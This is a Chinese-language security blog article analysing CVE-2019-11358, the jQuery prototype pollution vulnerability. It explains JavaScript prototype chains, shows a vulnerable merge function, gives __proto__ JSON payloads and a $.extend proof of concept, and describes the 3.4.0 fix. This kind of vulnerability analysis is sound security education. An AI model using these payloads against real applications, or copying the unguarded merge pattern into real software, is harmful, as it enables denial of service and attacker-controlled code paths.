CVE-2019-11358分析
2022-4-26 23:29:55 Author: xz.aliyun.com(查看原文) 阅读量:29 收藏

JavaScript的类与实例

JavaScript中, 构造函数相当于类, 且可以将其实例化. 如果要定义一个类, 需要以定义构造函数的方式来定义. 在JavaScript中, 通过new关键词或Object.create()方法来进行对象实例的创建.

function Func() {
    this.demo = 1;
}

var func = new Func();

JavaScript的prototype与proto

原型对象prototype

所有的JavaScript对象都会从一个原型对象prototype中继承属性和方法, JavaScript的每一个函数/类都有一个prototype属性, 用来指向该构造函数的原型.

例如前面的Func函数, 其prototype属性指向了该构造函数的原型本身.

proto属性

JavaScript的每一个实例对象都有一个__proto__属性指向该实例对象的原型. 例如前面的Func函数, 其实例对象func就有__proto__属性, 访问该属性可知是指向func这个实例对象的原型的.

总结

实例对象由函数生成, 实例对象的__proto__属性是指向函数的prototype属性的.

且在调用过程中, 无论是调用实例对象的__proto__属性, 还是调用构造函数/类的prototype属性, 它们均有一个__proto__属性指向Object, 而再往下调用__proto__属性就是调用Object.__proto__, 其值为null.

原型链

原型链: 由于__proto__是任何JavaScript对象都有的属性, 而JavaScript中万物皆对象, 因此会形成一条__proto__连起来的链, 递归访问__proto__直至到终点即值为null. 上文中用到的Func构造函数和func实例对象的原型链如下:

func -> Func.prototype -> Object.prototype -> null

数组的原型链:

array -> Array.prototype -> Object.prototype -> null

日期的原型链:

data -> Date.prototype -> Object.prototype -> null

函数的原型链:

func -> function.prototype -> Object.prototype -> null

原型链的结构图如下图所示:

这里func是实例对象, Func.prototype是原型, 原型通过__proto__访问原型对象, 实例对象继承的就是原型及其原型对象的属性.

继承的查找过程

调用对象属性时会查找属性, 如果本身没有,则会去__proto__中查找, 也就是构造函数的显式原型中查找, 如果构造函数中也没有该属性, 因为构造函数也是对象, 也有__proto__, 那么会去__proto__的显式原型中查找, 一直到null, 这一过程很好的说明了原型才是继承的基础. 例如如下代码, Son类继承了Father类的last_name属性, 最后输出的是Name: Lisa Alpha.

function Father() {
    this.first_name = 'Tome'
    this.last_name = 'Alpha'
}

function Son() {
    this.first_name = 'Lisa'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

对于对象son在调用son.last_name的时候, 实际上JavaScript引擎会进行如下操作:

  • 在对象son中寻找last_name.
  • 如果找不到, 则在son.__proto__中寻找last_name.
  • 如果仍然找不到, 则继续在son.__proto__.__proto__中寻找last_name.
  • 依次寻找, 直到找到null结束. 比如, Object.prototype__proto__就是null.

JavaScript中访问一个对象的属性可以用param1.param2.param3或者praram1["param2"]["param3"]来访问. 由于对象是无序的, 当使用第二种方式访问对象时, 只能使用指明下标的方式去访问. 因此我们可以通过param1["__proto__"]的方式去访问其原型对象. 原型链污染一般会出现在对象或数组的键名或属性名可控, 而且是赋值语句的情况下.

在实际应用场景中, 当攻击者控制并修改了一个对象的原型, 那么将可以影响所有和这个对象来自同一个类、父祖类的对象, 这种攻击方式就是原型链污染.

从代码层面上来理解原型链污染机制, 代码如下所示:

function Func() {
    this.param = 1;
}

var func = new Func();
console.log(func.param);

func.__proto__.__proto__["params"] = 2;

var funcs = new Func();
console.log(funcs.params);

在上文中说到了, 原型链污染一般会出现在对象或数组的键名或属性名可控, 而且是赋值语句的情况下. 因此, 一般可以设置__proto__值的场景, 即能够控制数组(对象)的键名的操作的场景中容易出现JavaScript原型链污染. 这里主要有以下两种:

  • 对象merge, 即合并数组对象的操作.
  • 对象clone, 内核中就是将待操作的对象merge到一个空对象中.

以对象merge为例, 参考P神文章中用到的merge函数:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

其在合并的过程中, 存在赋值的操作target[key] = source[key]. 因此, 当控制target的键key__proto__时就能对原型链进行污染. 示例Payload如下所示:

let demo1 = {};
let demo2 = {name : 'h3', "__proto__" : {age : 20}};

merge(demo1, demo2);
console.log(demo1.name, demo1.age);

let demo3 = {};
console.log(demo3.name, demo3.age);

可以看到该Payload并未污染成功, 这是因为, JavaScript创建demo2的过程中, proto已经代表demo2的原型, 此时遍历demo2的所有键名时, 拿到的是[name, age], proto并不是一个key, 自然也不会修改Object的原型. 此时, 需要将demo2实例对象那部分改为JSON格式, 修改后的Payload如下:

let demo1 = {};
let demo2 = JSON.parse('{"name" : \"h3\", "__proto__" : {"age" : 20}}');

merge(demo1, demo2);
console.log(demo1.name, demo1.age);

let demo3 = {};
console.log(demo3.age);

可以看到, 新建的demo3对象, 也存在age属性, 说明Object已经被污染了. 这是因为, JSON解析的情况下, __proto__会被认为是一个真正的"键名", 而不代表"原型", 所以在遍历demo2的时候会存在这个键. merge操作是最常见可能控制键名的操作, 也最能被原型链攻击, 很多常见的库都存在这个问题.

漏洞信息

CVE-2019-11358原型污染漏洞: 3.4.0版本之前的jQuery存在一个原型污染漏洞, 由攻击者控制的属性可被注入对象, 之后或经由触发JavaScript异常引发拒绝服务, 或篡改该应用程序源代码从而强制执行攻击者注入的代码路径.

PoC如下:

$.extend(true, {}, JSON.parse('{"__proto__": {"exploit": "h3rmesk1t"}}'))

console.log(exploit);

漏洞分析

查看3.3.1版本的JQuery源码, 漏洞点在在src/core.js文件中的extend函数. 如果该函数的第一个参数为布尔型的true, 合并操作就是深拷贝模式.

jQuery.extend = jQuery.fn.extend = function() {
    var options, name, src, copy, copyIsArray, clone,
        target = arguments[ 0 ] || {},
        i = 1,
        length = arguments.length,
        deep = false;

    // Handle a deep copy situation
    if ( typeof target === "boolean" ) {
        deep = target;

        // Skip the boolean and the target
        target = arguments[ i ] || {};
        i++;
    }

    ......

};

经过if函数判断后, 进入for循环, options取传入的参数arguments[i], 接着将options遍历赋值给copy, 即copy外部可控.

for ( ; i < length; i++ ) {

    // Only deal with non-null/undefined values
    if ( ( options = arguments[ i ] ) != null ) {

        // Extend the base object
        for ( name in options ) {
            src = target[ name ];
            copy = options[ name ];

            ......

        }
    }
}

接着判断copy是否是数组, 若是, 则调用jQuery.extend()函数, 该函数用于将一个或多个对象的内容合并到目标对象, 这里是将外部可控的copy数组扩展到target数组中; 若copy非数组而是个对象, 则直接将copy变量值赋值给target[name].

// Recurse if we're merging plain objects or arrays
if ( deep && copy && ( jQuery.isPlainObject( copy ) ||
    ( copyIsArray = Array.isArray( copy ) ) ) ) {

    if ( copyIsArray ) {
        copyIsArray = false;
        clone = src && Array.isArray( src ) ? src : [];

    } else {
        clone = src && jQuery.isPlainObject( src ) ? src : {};
    }

    // Never move original objects, clone them
    target[ name ] = jQuery.extend( deep, clone, copy );

// Don't bring in undefined values
} else if ( copy !== undefined ) {
    target[ name ] = copy;
}

此时, 如果将name设置为__proto__, 则会向上影响target的原型, 进而覆盖造成原型污染. 而target数组时取传入的参数arguments[0]: target = arguments[ 0 ] || {}.

target变量可以通过外部传入的参数arguments数组的第一个元素来设置target数组的键name对应的值为__proto__, 而options变量可通过外部传入的参数arguments[i]进行赋值, copy变量又是由options遍历赋值的, 进而导致copy变量外部可控, 最后会将copy合入或赋值到target数组中, 因此当target[__proto__] = 外部可控copy时, 即存在原型污染漏洞.

漏洞复现

var jquery = document.createElement('script');
jquery.src = 'https://code.jquery.com/jquery-3.3.1.min.js';

let exp = $.extend(true, {}, JSON.parse('{"__proto__": {"exploit": "h3rmesk1t"}}'));
console.log({}.exploit);

漏洞修复

jQuery3.4.0版本里修复了该漏洞, 通过判断属性中是否有__proto__, 如果有就跳过, 不合并.


文章来源: https://xz.aliyun.com/t/11272
如有侵权请联系:admin#unsafe.sh